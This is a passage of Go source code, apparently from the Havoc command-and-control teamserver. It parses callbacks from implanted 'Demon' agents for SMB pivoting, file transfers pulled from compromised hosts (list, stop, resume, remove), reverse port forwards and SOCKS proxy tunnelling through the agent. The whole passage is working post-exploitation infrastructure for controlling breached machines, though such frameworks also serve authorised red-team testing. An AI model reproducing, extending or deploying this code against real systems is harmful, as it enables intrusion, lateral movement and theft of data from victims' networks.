= \"[SMB] Failed to parse agent header: \" + err.Error()\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_COMMAND, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tdefault:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PIVOT - UNKNOWN (%d)\", AgentID, PivotCommand))\n\t\t\t}\n\n\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)\n\t\t} else {\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PIVOT, Invalid packet\", AgentID))\n\t\t}\n\n\t\tbreak\n\n\tcase COMMAND_TRANSFER:\n\n\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\tvar (\n\t\t\t\tSubCommand = Parser.ParseInt32()\n\t\t\t\tMessage    map[string]string\n\t\t\t)\n\n\t\t\tswitch SubCommand {\n\n\t\t\tcase DEMON_COMMAND_TRANSFER_LIST:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_LIST\", AgentID))\n\t\t\t\tvar (\n\t\t\t\t\tData  string\n\t\t\t\t\tCount int\n\t\t\t\t)\n\n\t\t\t\tData += fmt.Sprintf(\" %-8s  %-8s  %-8s  %-8s %s\\n\", \"File ID\", \"Size\", \"Progress\", \"State\", \"File\")\n\t\t\t\tData += fmt.Sprintf(\" %-8s  %-8s  %-8s  %-8s %s\\n\", \"-------\", \"----\", \"--------\", \"-----\", \"----\")\n\n\t\t\t\tfor Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tFileID = Parser.ParseInt32()\n\t\t\t\t\t\tSize   = Parser.ParseInt32()\n\t\t\t\t\t\tState  = Parser.ParseInt32()\n\t\t\t\t\t)\n\n\t\t\t\t\tif download := a.DownloadGet(FileID); download != nil {\n\t\t\t\t\t\tvar (\n\t\t\t\t\t\t\tStateString string\n\t\t\t\t\t\t\tProgress    string\n\t\t\t\t\t\t)\n\n\t\t\t\t\t\tif State == DOWNLOAD_STATE_RUNNING {\n\t\t\t\t\t\t\tStateString = \"Running\"\n\t\t\t\t\t\t} else if State == DOWNLOAD_STATE_STOPPED {\n\t\t\t\t\t\t\tStateString = \"Stopped\"\n\t\t\t\t\t\t} else if State == DOWNLOAD_STATE_REMOVE {\n\t\t\t\t\t\t\t/* pending remove */\n\t\t\t\t\t\t\tStateString = \"Removed\"\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tProgress = fmt.Sprintf(\"%.2f%%\", common.PercentageChange(Size, download.TotalSize))\n\t\t\t\t\t\tData += fmt.Sprintf(\" %-8x  %-8s  %-8s  %-8s %s\\n\", FileID, common.ByteCountSI(int64(download.TotalSize)), Progress, StateString, download.FilePath)\n\t\t\t\t\t\tCount++\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\"Type\":    \"Info\",\n\t\t\t\t\t\"Message\": fmt.Sprintf(\"List downloads [%v current downloads]:\", Count),\n\t\t\t\t\t\"Output\":  \"\\n\" + Data,\n\t\t\t\t}\n\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_TRANSFER_STOP:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tFound  = Parser.ParseInt32()\n\t\t\t\t\t\tFileID = Parser.ParseInt32()\n\t\t\t\t\t)\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_STOP, Found: %d, FileID: %x\", AgentID, Found, FileID))\n\n\t\t\t\t\tif Found == win32.TRUE {\n\t\t\t\t\t\tif download := a.DownloadGet(FileID); download != nil {\n\t\t\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\t\t\"Type\":    \"Good\",\n\t\t\t\t\t\t\t\t\"Message\": fmt.Sprintf(\"Successful found and stopped download: %x\", FileID),\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\t\t\"Type\":    \"Error\",\n\t\t\t\t\t\t\t\t\"Message\": fmt.Sprintf(\"Couldn't stop download %x: Download does not exists\", FileID),\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\t\"Type\":    \"Error\",\n\t\t\t\t\t\t\t\"Message\": fmt.Sprintf(\"Couldn't stop download %x: FileID not found\", FileID),\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_STOP, Invalid packet\", AgentID))\n\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\"Type\":    \"Error\",\n\t\t\t\t\t\t\"Message\": fmt.Sprintf(\"Callback output is smaller than expected. Callback type COMMAND_TRANSFER with subcommand 0x1 (stop). Expected at least 8 bytes but received %v bytes\", Parser.Length()),\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_TRANSFER_RESUME:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tFound  = Parser.ParseInt32()\n\t\t\t\t\t\tFileID = Parser.ParseInt32()\n\t\t\t\t\t)\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_RESUME, Found: %d, FileID: %x\", AgentID, Found, FileID))\n\n\t\t\t\t\tif Found == win32.TRUE {\n\t\t\t\t\t\tif download := a.DownloadGet(FileID); download != nil {\n\t\t\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\t\t\"Type\":    \"Good\",\n\t\t\t\t\t\t\t\t\"Message\": fmt.Sprintf(\"Successful found and resumed download: %x\", FileID),\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\t\t\"Type\":    \"Error\",\n\t\t\t\t\t\t\t\t\"Message\": fmt.Sprintf(\"Couldn't resume download %x: Download does not exists\", FileID),\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\t\"Type\":    \"Error\",\n\t\t\t\t\t\t\t\"Message\": fmt.Sprintf(\"Couldn't resume download %x: FileID not found\", FileID),\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_RESUME, Invalid packet\", AgentID))\n\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\"Type\":    \"Error\",\n\t\t\t\t\t\t\"Message\": fmt.Sprintf(\"Callback output is smaller than expected. Callback type COMMAND_TRANSFER with subcommand 0x2 (resume). Expected at least 8 bytes but received %v bytes\", Parser.Length()),\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_TRANSFER_REMOVE:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tFound  = Parser.ParseInt32()\n\t\t\t\t\t\tFileID = Parser.ParseInt32()\n\t\t\t\t\t)\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_REMOVE, Found: %d, FileID: %x\", AgentID, Found, FileID))\n\n\t\t\t\t\tif Found == win32.TRUE {\n\t\t\t\t\t\tif download := a.DownloadGet(FileID); download != nil {\n\t\t\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\t\t\"Type\":    \"Good\",\n\t\t\t\t\t\t\t\t\"Message\": fmt.Sprintf(\"Successful found and removed download: %x\", FileID),\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\t\t\"Type\":    \"Error\",\n\t\t\t\t\t\t\t\t\"Message\": fmt.Sprintf(\"Couldn't remove download %x: Download does not exists\", FileID),\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\t\"Type\":    \"Error\",\n\t\t\t\t\t\t\t\"Message\": fmt.Sprintf(\"Couldn't remove download %x: FileID not found\", FileID),\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_REMOVE, Invalid packet\", AgentID))\n\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\"Type\":    \"Error\",\n\t\t\t\t\t\t\"Message\": fmt.Sprintf(\"Callback output is smaller than expected. Callback type COMMAND_TRANSFER with subcommand 0x3 (remove). Expected at least 8 bytes but received %v bytes\", Parser.Length()),\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\tbreak\n\n\t\t\tdefault:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TRANSFER - UNKNOWN (%d)\", AgentID, SubCommand))\n\n\t\t\t}\n\n\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)\n\t\t} else {\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TRANSFER, Invalid packet\", AgentID))\n\t\t}\n\n\t\tbreak\n\n\tcase COMMAND_SOCKET:\n\t\tvar (\n\t\t\tSubCommand = 0\n\t\t\tMessage    map[string]string\n\t\t)\n\n\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\n\t\t\tSubCommand = Parser.ParseInt32()\n\n\t\t\tswitch SubCommand {\n\t\t\tcase SOCKET_COMMAND_RPORTFWD_ADD:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {\n\n\t\t\t\t\tvar (\n\t\t\t\t\t\tSocktID = 0\n\t\t\t\t\t\tSuccess = 0\n\t\t\t\t\t\tLclAddr = 0\n\t\t\t\t\t\tLclPort = 0\n\t\t\t\t\t\tFwdAddr = 0\n\t\t\t\t\t\tFwdPort = 0\n\n\t\t\t\t\t\tFwdString string\n\t\t\t\t\t\tLclString string\n\t\t\t\t\t)\n\n\t\t\t\t\tSuccess = Parser.ParseInt32()\n\t\t\t\t\tSocktID = Parser.ParseInt32()\n\t\t\t\t\tLclAddr = Parser.ParseInt32()\n\t\t\t\t\tLclPort = Parser.ParseInt32()\n\t\t\t\t\tFwdAddr = Parser.ParseInt32()\n\t\t\t\t\tFwdPort = Parser.ParseInt32()\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_ADD, Success: %d, SocktID: %x, LclAddr: %d, LclPort: %d, FwdAddr: %d, FwdPort: %d\", AgentID, Success, SocktID, LclAddr, LclPort, FwdAddr, FwdPort))\n\n\t\t\t\t\tLclString = common.Int32ToIpString(int64(LclAddr))\n\t\t\t\t\tFwdString = common.Int32ToIpString(int64(FwdAddr))\n\n\t\t\t\t\tif Success == win32.TRUE {\n\t\t\t\t\t\ta.Console(teamserver.AgentConsole, \"Info\", fmt.Sprintf(\"Started reverse port forward on %s:%d to %s:%d [Id: %x]\", LclString, LclPort, FwdString, FwdPort, SocktID), \"\")\n\t\t\t\t\t\treturn\n\t\t\t\t\t} else {\n\t\t\t\t\t\ta.Console(teamserver.AgentConsole, \"Erro\", fmt.Sprintf(\"Failed to start reverse port forward on %s:%d to %s:%d\", LclString, LclPort, FwdString, FwdPort), \"\")\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_ADD, Invalid packet\", AgentID))\n\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\"Type\":    \"Error\",\n\t\t\t\t\t\t\"Message\": fmt.Sprintf(\"Callback output is smaller than expected. Callback type COMMAND_SOCKET sub-command rportfwd (SOCKET_COMMAND_RPORTFWD_ADD : 0x0) expected at least 16 bytes but received %v bytes\", Parser.Length()),\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase SOCKET_COMMAND_RPORTFWD_LIST:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_LIST\", AgentID))\n\n\t\t\t\tvar (\n\t\t\t\t\tFwdList  string\n\t\t\t\t\tFwdCount int\n\t\t\t\t)\n\n\t\t\t\tFwdList += \"\\n\"\n\t\t\t\tFwdList += fmt.Sprintf(\" %-12s %s\\n\", \"Socket ID\", \"Forward\")\n\t\t\t\tFwdList += fmt.Sprintf(\" %-12s %s\\n\", \"---------\", \"-------\")\n\n\t\t\t\tfor Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tSocktID = 0\n\t\t\t\t\t\tLclAddr = 0\n\t\t\t\t\t\tLclPort = 0\n\t\t\t\t\t\tFwdAddr = 0\n\t\t\t\t\t\tFwdPort = 0\n\n\t\t\t\t\t\tFwdString string\n\t\t\t\t\t\tLclString string\n\t\t\t\t\t)\n\n\t\t\t\t\tSocktID = Parser.ParseInt32()\n\t\t\t\t\tLclAddr = Parser.ParseInt32()\n\t\t\t\t\tLclPort = Parser.ParseInt32()\n\t\t\t\t\tFwdAddr = Parser.ParseInt32()\n\t\t\t\t\tFwdPort = Parser.ParseInt32()\n\n\t\t\t\t\tLclString = common.Int32ToIpString(int64(LclAddr))\n\t\t\t\t\tFwdString = common.Int32ToIpString(int64(FwdAddr))\n\n\t\t\t\t\tFwdList += fmt.Sprintf(\" %-12x %s\\n\", SocktID, fmt.Sprintf(\"%s:%d -> %s:%d\", LclString, LclPort, FwdString, FwdPort))\n\t\t\t\t\tFwdCount++\n\t\t\t\t}\n\n\t\t\t\ta.Console(teamserver.AgentConsole, \"Info\", fmt.Sprintf(\"reverse port forwards [%d active]:\", FwdCount), FwdList)\n\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\tbreak\n\n\t\t\tcase SOCKET_COMMAND_RPORTFWD_REMOVE:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {\n\n\t\t\t\t\tvar (\n\t\t\t\t\t\tSocktID = 0\n\t\t\t\t\t\tType    = 0\n\t\t\t\t\t\tLclAddr = 0\n\t\t\t\t\t\tLclPort = 0\n\t\t\t\t\t\tFwdAddr = 0\n\t\t\t\t\t\tFwdPort = 0\n\n\t\t\t\t\t\tFwdString string\n\t\t\t\t\t\tLclString string\n\t\t\t\t\t)\n\n\t\t\t\t\tSocktID = Parser.ParseInt32()\n\t\t\t\t\tType    = Parser.ParseInt32()\n\t\t\t\t\tLclAddr = Parser.ParseInt32()\n\t\t\t\t\tLclPort = Parser.ParseInt32()\n\t\t\t\t\tFwdAddr = Parser.ParseInt32()\n\t\t\t\t\tFwdPort = Parser.ParseInt32()\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_REMOVE, Type: %d, SocktID: %x, LclAddr: %d, LclPort: %d, FwdAddr: %d, FwdPort: %d\", AgentID, Type, SocktID, LclAddr, LclPort, FwdAddr, FwdPort))\n\n\t\t\t\t\tLclString = common.Int32ToIpString(int64(LclAddr))\n\t\t\t\t\tFwdString = common.Int32ToIpString(int64(FwdAddr))\n\n\t\t\t\t\tif Type == SOCKET_TYPE_REVERSE_PORTFWD {\n\t\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\t\"Type\":    \"Info\",\n\t\t\t\t\t\t\t\"Message\": fmt.Sprintf(\"Successful closed and removed rportfwd [SocketID: %x] [Forward: %s:%d -> %s:%d]\", SocktID, LclString, LclPort, FwdString, FwdPort),\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t/* finally close our port forwarder */\n\t\t\t\t\ta.PortFwdClose(SocktID)\n\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_REMOVE, Invalid packet\", AgentID))\n\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\"Type\":    \"Info\",\n\t\t\t\t\t\t\"Message\": fmt.Sprintf(\"Callback output is smaller than expected. Callback type COMMAND_SOCKET sub-command rportfwd (SOCKET_COMMAND_RPORTFWD_REMOVE : 0x4) expected at least 20 bytes but received %v bytes\", Parser.Length()),\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\tbreak\n\n\t\t\tcase SOCKET_COMMAND_RPORTFWD_CLEAR:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\n\t\t\t\t\tvar Success = Parser.ParseInt32()\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_CLEAR, Success: %d\", AgentID, Success))\n\n\t\t\t\t\tif Success == win32.TRUE {\n\t\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\t\"Type\":    \"Good\",\n\t\t\t\t\t\t\t\"Message\": \"Successful closed and removed all rportfwds\",\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\t\"Type\":    \"Erro\",\n\t\t\t\t\t\t\t\"Message\": \"Failed to closed and remove all rportfwds\",\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_CLEAR, Invalid packet\", AgentID))\n\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\"Type\":    \"Info\",\n\t\t\t\t\t\t\"Message\": fmt.Sprintf(\"Callback output is smaller than expected. Callback type COMMAND_SOCKET sub-command rportfwd (SOCKET_COMMAND_RPORTFWD_CLEAR : 0x3) expected at least 4 bytes but received %v bytes\", Parser.Length()),\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\tbreak\n\n\t\t\tcase SOCKET_COMMAND_SOCKSPROXY_ADD:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_SOCKSPROXY_ADD\", AgentID))\n\t\t\t\tbreak\n\n\t\t\tcase SOCKET_COMMAND_OPEN:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {\n\n\t\t\t\t\tvar (\n\t\t\t\t\t\tSocktID = 0\n\t\t\t\t\t\tLclAddr = 0\n\t\t\t\t\t\tLclPort = 0\n\t\t\t\t\t\tFwdAddr = 0\n\t\t\t\t\t\tFwdPort = 0\n\n\t\t\t\t\t\tFwdString string\n\t\t\t\t\t)\n\n\t\t\t\t\tSocktID = Parser.ParseInt32()\n\t\t\t\t\tLclAddr = Parser.ParseInt32()\n\t\t\t\t\tLclPort = Parser.ParseInt32()\n\t\t\t\t\tFwdAddr = Parser.ParseInt32()\n\t\t\t\t\tFwdPort = Parser.ParseInt32()\n\n\t\t\t\t\t// avoid too much spam\n\t\t\t\t\t//logger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_OPEN, SocktID: %08x, LclAddr: %d, LclPort: %d, FwdAddr: %d, FwdPort: %d\", AgentID, SocktID, LclAddr, LclPort, FwdAddr, FwdPort))\n\n\t\t\t\t\tFwdString = common.Int32ToIpString(int64(FwdAddr))\n\t\t\t\t\tFwdString = fmt.Sprintf(\"%s:%d\", FwdString, FwdPort)\n\n\t\t\t\t\tif Socket := a.PortFwdGet(SocktID); Socket != nil {\n\t\t\t\t\t\t/* Socket already exists. don't do anything. */\n\t\t\t\t\t\tlogger.Debug(\"Socket already exists\")\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\n\t\t\t\t\t/* add this rportfwd */\n\t\t\t\t\ta.PortFwdNew(SocktID, LclAddr, LclPort, FwdAddr, FwdPort, FwdString)\n\n\t\t\t\t\t/* we will open the rportfwd client only after we have something to write */\n\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_OPEN, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase SOCKET_COMMAND_READ:\n\t\t\t\t/* if we receive the SOCKET_COMMAND_READ command\n\t\t\t\t * that means that we should read the callback and send it to the forwared host/socks proxy */\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tSocktID = Parser.ParseInt32()\n\t\t\t\t\t\tType    = Parser.ParseInt32()\n\t\t\t\t\t\tSuccess = Parser.ParseInt32()\n\t\t\t\t\t)\n\n\t\t\t\t\tif Success == win32.TRUE {\n\t\t\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\t\t\t\tvar(\n\t\t\t\t\t\t\t\tData = Parser.ParseBytes()\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t// avoid too much spam\n\t\t\t\t\t\t\t//logger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_READ, SocktID: %08x, Type: %d, DataLength: %x\", AgentID, SocktID, Type, len(Data)))\n\n\t\t\t\t\t\t\tif Type == SOCKET_TYPE_CLIENT {\n\n\t\t\t\t\t\t\t\t/* we only open rportfwd clients once we have data to write */\n\t\t\t\t\t\t\t\topened, err := a.PortFwdIsOpen(SocktID)\n\t\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\t\ta.Console(teamserver.AgentConsole, \"Erro\", fmt.Sprintf(\"Failed to write to reverse port forward host: %v\", err), \"\")\n\t\t\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t/* if first time, open the client */\n\t\t\t\t\t\t\t\tif opened == false {\n\t\t\t\t\t\t\t\t\terr := a.PortFwdOpen(SocktID)\n\t\t\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Failed to open rportfwd: %v\", err))\t\n\t\t\t\t\t\t\t\t\ta.Console(teamserver.AgentConsole, \"Erro\", fmt.Sprintf(\"Failed to open reverse port forward host: %v\", err), \"\")\n\t\t\t\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t/* write the data to the forwarded host */\n\t\t\t\t\t\t\t\terr = a.PortFwdWrite(SocktID, Data)\n\t\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\t\ta.Console(teamserver.AgentConsole, \"Erro\", fmt.Sprintf(\"Failed to write to reverse port forward socket 0x%08x: %v\", SocktID, err), \"\")\n\t\t\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tif opened == false {\n\t\t\t\t\t\t\t\t\t/* after we managed to open a socket to the forwarded host lets start a\n\t\t\t\t\t\t\t\t\t * goroutine where we read the data from the forwarded host and send it to the agent. */\n\t\t\t\t\t\t\t\t\tgo func() {\n\n\t\t\t\t\t\t\t\t\t\tfor {\n\n\t\t\t\t\t\t\t\t\t\t\tData, err := a.PortFwdRead(SocktID)\n\t\t\t\t\t\t\t\t\t\t\tif err == nil {\n\n\t\t\t\t\t\t\t\t\t\t\t\t/* only send the data if there is something... */\n\t\t\t\t\t\t\t\t\t\t\t\tif len(Data) > 0 {\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t/* make a new job */\n\t\t\t\t\t\t\t\t\t\t\t\t\tvar job = Job{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tCommand: COMMAND_SOCKET,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tData: []any{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSOCKET_COMMAND_WRITE,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSocktID,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tData,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t/* append the job to the task queue */\n\t\t\t\t\t\t\t\t\t\t\t\t\ta.AddJobToQueue(job)\n\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t\t\t\t/* we failed to read from the portfwd */\n\t\t\t\t\t\t\t\t\t\t\t\tlogger.Error(fmt.Sprintf(\"Failed to read from socket %08x: %v\", SocktID, err))\n\t\t\t\t\t\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t}()\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t} else if Type == SOCKET_TYPE_REVERSE_PROXY {\n\n\t\t\t\t\t\t\t\t/* check if there is a socket with that socks proxy id */\n\t\t\t\t\t\t\t\tif Socket := a.SocksClientGet(SocktID); Socket != nil {\n\n\t\t\t\t\t\t\t\t\t/* write the data to socks proxy */\n\t\t\t\t\t\t\t\t\t_, err := Socket.Conn.Write(Data)\n\t\t\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\t\t\ta.Console(teamserver.AgentConsole, \"Erro\", fmt.Sprintf(\"Failed to write to socks proxy %v: %v\", SocktID, err), \"\")\n\n\t\t\t\t\t\t\t\t\t\t/* TODO: remove socks proxy client */\n\t\t\t\t\t\t\t\t\t\t//a.SocksClientClose(SOCKET_TYPE_CLIENT)\n\n\t\t\t\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tlogger.Error(fmt.Sprintf(\"SocketID not found: %08x\\n\", SocktID))\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_READ, Invalid packet\", AgentID))\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\t\t\t\t\tvar (\n\t\t\t\t\t\t\t\tErrorCode = Parser.ParseInt32()\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\tlogger.Warn(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_READ, SocktID: %08x, Type: %d, Failed with: %d\", AgentID, SocktID, Type, ErrorCode))\n\t\t\t\t\t\t\ta.Console(teamserver.AgentConsole, \"Erro\", fmt.Sprintf(\"Failed to read from socks target %v: %v\", SocktID, ErrorCode), \"\")\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_READ, Invalid packet\", AgentID))\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_READ, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase SOCKET_COMMAND_WRITE:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) 